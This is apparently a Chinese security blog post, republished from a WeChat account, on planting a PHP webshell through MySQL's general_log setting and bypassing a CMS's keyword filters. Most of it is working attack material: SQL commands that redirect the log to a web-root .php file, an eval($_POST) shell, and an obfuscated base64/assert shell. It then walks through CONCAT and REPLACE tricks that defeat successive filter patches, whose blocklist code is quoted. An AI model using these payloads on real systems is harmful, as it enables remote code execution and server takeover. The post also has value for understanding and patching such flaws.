SQL语句利用日志写shell及相关绕过

admin 2023年2月2日10:18:26评论17 views字数 3002阅读10分0秒阅读模式

0x01 基本原理

在能够写SQL语句的地方,outfile、dumpfile、drop database等都被禁止,一般进行SQL注入来getshell或删库的方式行不通了。

但是如果MySQL是root用户启动的,那么可以进行如下利用:

show variables like '%general%';  #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = '/var/www/html/1.php'; #设置日志目录为shell地址
select '<?php eval($_POST[cmd]);?>' #写入shell

SQL查询免杀shell的语句(参考:SQL语句利用日志写shell):

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

0x02 Bypass案例

这个案例虽然鸡肋,但是思路还可以。

过滤 .php

代码审计某CMS时,看到一处写SQL语句的地方,此处之前报过漏洞,修复方案是过滤了outfile、dumpfile、drop database等,此外还过滤了.php字符串,为的就是防住SQL语句日志写shell:

if(stristr($sql, 'outfile')){    $str = '<span class="c-red">ERROR : 检测到非法字符 “outfile”!</span>';    break;}if(stristr($sql, 'dumpfile')){    $str = '<span class="c-red">ERROR : 检测到非法字符 “dumpfile”!</span>';    break;}if(stristr($sql, '.php')){    $str = '<span class="c-red">ERROR : 检测到非法字符 “.php” !</span>';    break;}if(preg_match("/^drop(.*)database/i", $sql)){    $str = '<span class="c-red">ERROR : 不允许删除数据库!</span>';    break;}

这里直接写上述的SQL语句肯定是不行的,因为set global general_log_file = '/var/www/html/1.php';.php会被过滤掉。

这里只是针对字符串的检测,可以用字符串拼接的方式Bypass,这里可以使用SQL语句中的concat家族系列函数来实现字符串拼接来Bypass:

show variables like '%general%';   #查看配置
set global general_log = on; #开启general log模式
set global general_log_file =CONCAT("/var/www/html/1.","php");
select '<?php eval($_POST[cmd]);?>'; #写入shell

过滤 .php和concat

在这次报过的漏洞之后,CMS厂商修改了这个洞,就是添加了对concat的字符串过滤,这样concat家族系列函数就使不上了。

if(stristr($sql, 'outfile')){    $str = '<span class="c-red">ERROR : 检测到非法字符 “outfile”!</span>';    break;}if(stristr($sql, 'dumpfile')){    $str = '<span class="c-red">ERROR : 检测到非法字符 “dumpfile”!</span>';    break;}if(stristr($sql, '.php')){    $str = '<span class="c-red">ERROR : 检测到非法字符 “.php” !</span>';    break;}if(stristr($sql, 'concat')){    $str = '<span class="c-red">ERROR : 检测到非法字符 “concat” !</span>';    break;}if(preg_match("/^drop(.*)database/i", $sql)){    $str = '<span class="c-red">ERROR : 不允许删除数据库!</span>';    break;}

使用concat进行字符串拼接的方式没法绕过了,但是除了字符串拼接,我们还能使用字符串替换的操作来绕过:

show variables like '%general%';   #查看配置
set global general_log = on; #开启general log模式
set global general_log_file =REPLACE("/var/www/html/1.jpg","jpg","php");
select '<?php eval($_POST[cmd]);?>'; #写入shell

过滤 .php、concat和replace

CMS厂商收到新的绕过漏洞报告后,又进行新一轮的修复,过滤了replace:

if(stristr($sql, 'outfile')){    $str = '<span class="c-red">ERROR : 检测到非法字符 “outfile”!</span>';    break;}if(stristr($sql, 'dumpfile')){    $str = '<span class="c-red">ERROR : 检测到非法字符 “dumpfile”!</span>';    break;}if(stristr($sql, '.php')){    $str = '<span class="c-red">ERROR : 检测到非法字符 “.php” !</span>';    break;}if(stristr($sql, 'concat')){    $str = '<span class="c-red">ERROR : 检测到非法字符 “concat” !</span>';    break;}if(stripos($sql, 'replace')){    $str = '<span class="c-red">ERROR : 检测到非法字符 “replace” !</span>';    break;}if(preg_match("/^drop(.*)database/i", $sql)){    $str = '<span class="c-red">ERROR : 不允许删除数据库!</span>';    break;}

字符串拼接和替换都不能成功进行利用了,还有啥办法不?

当然还有新的Bypass方法哈哈。

作者:Mi1k7ea,来源:https://www.mi1k7ea.com/


扫码加好友拉你进交流群(请备注)
SQL语句利用日志写shell及相关绕过

关注公众号,后台回复关键词获取安全相关资源:

【 1868 】 :弱口令字典

 6956 】 :Windows提权工具包

【 1762 】 :渗透辅助综合工具

【 2595 】 :应急响应工具集

【 1346 】 :CTF入门到提升视频教程

原文始发于微信公众号(菜鸟学安全):SQL语句利用日志写shell及相关绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月2日10:18:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL语句利用日志写shell及相关绕过http://cn-sec.com/archives/1533304.html

发表评论

匿名网友 填写信息